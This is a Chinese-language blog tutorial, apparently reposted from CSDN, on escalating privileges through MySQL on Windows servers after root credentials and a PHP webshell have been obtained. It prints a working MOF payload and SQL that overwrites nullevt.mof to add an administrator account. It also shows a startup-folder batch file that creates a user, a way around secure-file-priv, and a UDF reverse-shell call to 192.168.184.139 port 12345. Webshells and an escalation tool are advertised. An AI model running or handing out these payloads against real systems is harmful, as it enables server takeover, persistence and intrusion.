MYSQL数据库提权的几种方法——提权教程

一、简介

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权。

数据库提权的前提条件:

1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

常见密码获取方式:

1、读取网站数据库配置文件(了解其命名规则及查找技巧)
例如:sql data inc config conn database common include等
2、读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
例如:@@basedir/data/数据库名/表名.myd
3、 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
例如:远程本地暴力猜解,服务器本地暴力猜解(未开启外联,需要上传数据库暴力破解脚本到网站后执行)

实验前提条件:
假设我们已经获取mysql数据库的用户名密码为root/root,并且上传了php大马webshell

二、 UDF导出提权

总结
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
手工创建plugin目录或利用NTFS流创建

提权示例 一

第一步:导出dll文件

1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/ 例如:C:/phpStudy/PHPTutorial/MySQL/lib/plugin//moonudf.dll

一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)

上传一个 mysql全版本通杀提权神器 到目标网站,如下图所示:
选择导出dll文件,但是报错 “udf导出失败请查看失败内容The MySQL server is running with the --secure-file-priv option so it cannot execute this statement”
在这里插入图片描述
secure-file-priv简介:

在高版本中有个参数:secure-file-priv,这个参数限制了MySQL的导出:该参数为NULL时不允许导出,该参数为空时允许在任意文件夹中导出,该参数为某文件夹时允许在该文件夹中导出。

解决办法:

利用php大马webshell手工修改my.ini配置文件,添加 secure-file-priv=,之后想办法,让目标网站重启一下mysql服务即可使修改的配置生效(例如,上传可以执行命令的大马,或者菜刀执行cmd命令,启动mysql服务:net stop mysql 停止mysql服务:net start mysql)
在这里插入图片描述
配置修改生效后,再次导出dll文件,导出成功
在这里插入图片描述

第二步:提权

成功导出dll文件后、先创建sys_eval,之后可以查看当前用户等操作,提权成功
在这里插入图片描述
注意:

如果是安装的mysql服务,那么此时查看权限是system权限,而我测试用的是 phpstudy的mysql是,所以是administrator权限,也就是 phpstudy运行的权限

php大马webshell、mysql全版本通杀提权神器2014版,都已在我的资源中上传

提权示例 二

除了专门的mysql udf提权php脚本外,php大马也有udf提权功能,同样得输入dll文件的安装路径才可以
在这里插入图片描述
可以自己输入命令,也可以用工具自带的。
缺点:php大马没有反弹shell的功能,MySQL udf提权脚本有反弹shell的功能
在这里插入图片描述

二、MOF加载提权

总结
导出自定义mof文件到系统目录加载

实验前提条件:
同udf一样需要手工修改my.ini配置文件,添加 secure-file-priv=

mof介绍

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

第一步:
通过webshell将adduser.mof文件上传到网站根目录
在这里插入图片描述
mof文件内容

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{
    
     
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{
    
     
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin123!@# /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{
    
     
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

第二步:提权

使用sql语句将系统当中默认的nullevt.mof给替换掉,让系统执行我们这个恶意的mof文件,来添加admin账户。

select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
在这里插入图片描述
过一会儿后,查看目标服务器用户,发现admin账户被创建
在这里插入图片描述
参考链接:https://www.cnblogs.com/xishaonian/p/6384535.html

三、 启动项重启提权

总结
导出自定义bat或vbs到启动目录配合重启执行

第一步:

将创建好的adduser.bat进行服务器启动项写入,配合重启执行!
写一个adduser.bat文件

@echo
net user ceshi 123!@#ws /add

通过文件上传上传adduser.bat文件到网站根目录
在这里插入图片描述
通过sql命令写入到启动项中
select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;
在这里插入图片描述
第二步:提权

之后让目标服务器重启后,查看发现用户被创建,bat文件执行
在这里插入图片描述

四、反弹SHELL提权

总结
用于UDF没有成功取得cmdshell和MOF提权都失败的情况,采用MYSQL反弹函数获取权限,不再调用命令执行类函数!

**原因:**服务器限制cmdshell命令执行拓展关闭,开启了防护 ,那么UDF提权就失败,cmdshell就没了,只能进行backshell反弹。

在反弹shell的时候,shell执行成功,却没有监听到返回信息,是因为原因:阿里云服务器端口使用需要设置端口允许,默认是全部不允许的

第一步:

访问提权大马
在这里插入图片描述
导出dll文件
在这里插入图片描述
第二步:提权

创建反弹shell函数
在这里插入图片描述
执行反弹shell命令:select backshell(‘192.168.184.139’,12345)
在这里插入图片描述
kali监听端口,成功反弹shell
在这里插入图片描述

后续还有别的提权复现 会继续更新

更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_40412037/article/details/112541157